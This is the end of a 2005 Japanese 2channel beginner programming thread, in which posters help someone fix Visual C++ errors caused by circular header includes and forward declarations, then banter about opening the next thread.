ちゃんとソースの方に実装を分けたらエラーでなくなりました。
これで成功?

昨日エラーが出たやつも、これから実装をソースにわけてみます。
どもありがとー!


でもファイルがいっぱいあると管理が大変になるよ orz
958デフォルトの名無しさん:2005/12/01(木) 16:45:05
>>957
ヘッダに実装書いてるやつ
ソース側じゃなくヘッダ側にiostreamインクルードしたらおkなんじゃね?
959デフォルトの名無しさん:2005/12/01(木) 16:49:11
>>958

#ifndef CCCC
#define CCCC

#include <iostream>
using namespace std;

#include "a.h"
#include "b.h"

class A;
class B;

class C
{
 public:
 int n;
 C () { n = 3; }
 void func1 () { cout << n << endl; }
 void func2 (A a, B b) {}
};

#endif


こうですかね?
これではダメでした。
960デフォルトの名無しさん:2005/12/01(木) 16:56:15
ヘッダ実装ありの01.cppでb.func2とc.func2を引数なしで呼んでるのはなんで?
961957:2005/12/01(木) 17:00:32
#include <iostream>
using namespace std;
#include "a.h"
#include "b.h"
#include "c.h"
int main ()
{
 A a;
 B b;
 C c;
 a.func2(b, c);
 b.func2(a, b);
 c.func2(b, c);
 return 0;
}

>>960
すいませんこうでした。 ><
962デフォルトの名無しさん:2005/12/01(木) 17:05:01
b.func2は
void func2 (A a, C c) {}
c.func2は
void func2 (A a, B b) {}

って宣言されてるから01.cppでは

 b.func2(a, c);
 c.func2(a, b);

って呼ばないとエラー。
963957:2005/12/01(木) 17:12:54
http://www.vipper.org/vip150522.zip.html

うあ、すみません、修正版です ><
964デフォルトの名無しさん:2005/12/01(木) 17:17:13
>>963
それだとエラーでなくないか?
965957:2005/12/01(木) 17:22:41
マジですか!?
VC++6.0 Standardだと以下のエラーが。

コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(23) : error C2079: 'b' が 未定義の class 'B' で使用されています。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(26) : error C2664: 'func2' : 1 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(27) : error C2228: '.func2' : 左側がクラス、構造体、共用体ではありません。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(28) : error C2664: 'func2' : 2 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
cl.exe の実行エラー

ファイル分割_01.exe - エラー 5、警告 0

//-----------------------------------------------

で、mainを return 0 以外全部コメントアウトすると以下のエラーが。


コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
cl.exe の実行エラー

ファイル分割_01.exe - エラー 1、警告 0
966デフォルトの名無しさん:2005/12/01(木) 17:35:20
>>965
BCB32だと普通に通る。
エラー見るとBの定義がされてないっぽいんだが
b.hだけ別のフォルダにあったりしない?
967デフォルトの名無しさん:2005/12/01(木) 17:35:41
>>965
#includeを順番におっかけていってみよう。"b.h"がincludeされる前に"c.h"がincludeされちゃうね。
968957:2005/12/01(木) 17:37:18
おちんちんしゅっしゅ!
969967:2005/12/01(木) 17:38:48
>>967
訂正。"b.h"でclass Bが宣言される前に"c.h"がincludeされてclass Cが宣言されちゃう。
970957:2005/12/01(木) 17:46:43
>>966
うらやますぃ。

>>969
どれからインクルードされてもいいように、
それぞれのヘッダの上の方で #include "○○.h"ってのを呼んでるつもりなのですが
そういう問題じゃないんですかね orz
てゆか、なんで上から順番どおり読んでくれんのだぁ (T_T)

>>968
971967:2005/12/01(木) 17:49:14
>>970
上から順番に読んでるよ。
"01.cpp"の#include "a.h"から順番に考えていってごらん。
972957:2005/12/01(木) 17:55:46
うあ、そんなん考えたことなかった ('A`)
えーと、、まず

01.cppでa.hが呼ばれて、
a.hでb.hが呼ばれて、
b.hでa.hがスルーされてc.hが呼ばれて、
c.hでa.hとb.hがスルーされて・・

ん?ここで止まる!?
もうわけわかめ
973デフォルトの名無しさん:2005/12/01(木) 18:05:11
>>972
それでゴール。#includeは、ファイルの中身をまるごとソースにコピペするだけ。
>>972の順番で、"01.cpp"の#includeと対応するヘッダファイルを差し替えてみてごらん。
974957:2005/12/01(木) 18:37:27
>>973
#includeってコピペだったのね ^^
↓みたいな流れで止まってるのかなぁ。

// 01.cpp
#include iostream

// a.h

// b.h

// c.h
class A: // ←宣言だけ?関数プロトタイプみたいな??
class B:
class C {
public:
 int n;
 C () { n = 3; }
 void func1 () { cout << n << endl; }
 void func2 (A a, B b) {} // ←ここで止まる?

↑のfunc2()で宣言だけされてて、
中身がなんなのかわからない型AとBを使おうとしてるから止まる??

しかもAとBのうち、なぜか右に書いてあるBから判定してるみたい。 func2()を
void func2 (B b, A a) {}
とすると、エラーは「認識できない型 'A' が使われています。 」ってなる。

これでいいでしょか ('A`)
975デフォルトの名無しさん:2005/12/01(木) 18:42:38
('A')
976デフォルトの名無しさん:2005/12/01(木) 18:46:46
class A;
class B;
じゃなかったっけ?
977デフォルトの名無しさん:2005/12/01(木) 18:56:24
次スレてんぷら作ったほうがいんじゃね?
978デフォルトの名無しさん:2005/12/01(木) 18:57:26
>>976
でした orz


ちなみに昨日エラーが出たプログラムは
ヘッダは11、ソースが3。ファイル合計14。

ヘッダの実装をソースに移すと全部で20超えるか。
あと3時間で終わるかな・・。
979デフォルトの名無しさん:2005/12/01(木) 19:06:43
>>978
ちなみに今回の場合、ヘッダに実装を書いたがゆえの多重定義云々じゃなくて、
ファイルの分割方法に問題があったと思われ。
980デフォルトの名無しさん:2005/12/01(木) 19:10:30
C++は意味不なエラーが多いから困る。
今CからC++のクラスを使う関数の呼ぼうとしてはまってるんだけど undefined reference to `operator new(unsigned int)'って言われてビルドできない。
g++でビルドしてるのに…
981デフォルトの名無しさん:2005/12/01(木) 19:21:59
C++のせいにしちゃダメだお(;^ω^)
982デフォルトの名無しさん:2005/12/01(木) 19:23:05
983デフォルトの名無しさん:2005/12/01(木) 19:26:06
VIPPERでもわかるプログラミング

テンプレは
>>2
>>4
>>5
>>6
でおk?
984デフォルトの名無しさん:2005/12/01(木) 20:55:31
Cってクラスっていう概念がないんだっけ?
985デフォルトの名無しさん:2005/12/01(木) 20:56:55
そりゃオブジェクト指向って考え方が出る前に作られた言語だもん
986デフォルトの名無しさん:2005/12/01(木) 21:01:22
やっと動いたぁ (´д`)

>>979
うはwごめww


ってことで、スレ立ててきまっす。
【VIPPERでもわかるプログラミング 2】
でいいですよね。
987デフォルトの名無しさん:2005/12/01(木) 21:07:48
>>3

/*VIPPERでもわかるプログラミング ver.3*/
がいいとおもう
988みずき ◆WnmizUKIg6 :2005/12/01(木) 21:08:44 BE:156851273-##
スレタイ:>>987
本  文:>>710
989986:2005/12/01(木) 21:12:07
VIPPERでもわかるプログラミング 2
http://pc8.2ch.net/test/read.cgi/tech/1133438540/


ごめ・・・やっちゃった orz
990デフォルトの名無しさん:2005/12/01(木) 21:15:00
std::cout << "VIPでやれ." << std::endl;
991デフォルトの名無しさん:2005/12/01(木) 21:15:09
あーあw
992デフォルトの名無しさん:2005/12/01(木) 21:15:20
1000は俺がいただくぜwwwwwwwwwwwww
993デフォルトの名無しさん:2005/12/01(木) 21:15:55
⊂二二二( ^ω^)二⊃ ブーン
994デフォルトの名無しさん:2005/12/01(木) 21:16:29
ksk
995デフォルトの名無しさん:2005/12/01(木) 21:17:30
std::cout << "VIPだと落ちるんだよ." << std::endl;
996デフォルトの名無しさん:2005/12/01(木) 21:17:41
('A`)
997みずき ◆WnmizUKIg6 :2005/12/01(木) 21:17:51 BE:44815032-##
gets(>>1000);
998デフォルトの名無しさん:2005/12/01(木) 21:18:28
for(;;)puts("1000は俺様のものです!");
999デフォルトの名無しさん:2005/12/01(木) 21:19:02
(;^ω^)
1000デフォルトの名無しさん:2005/12/01(木) 21:19:07
1000
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。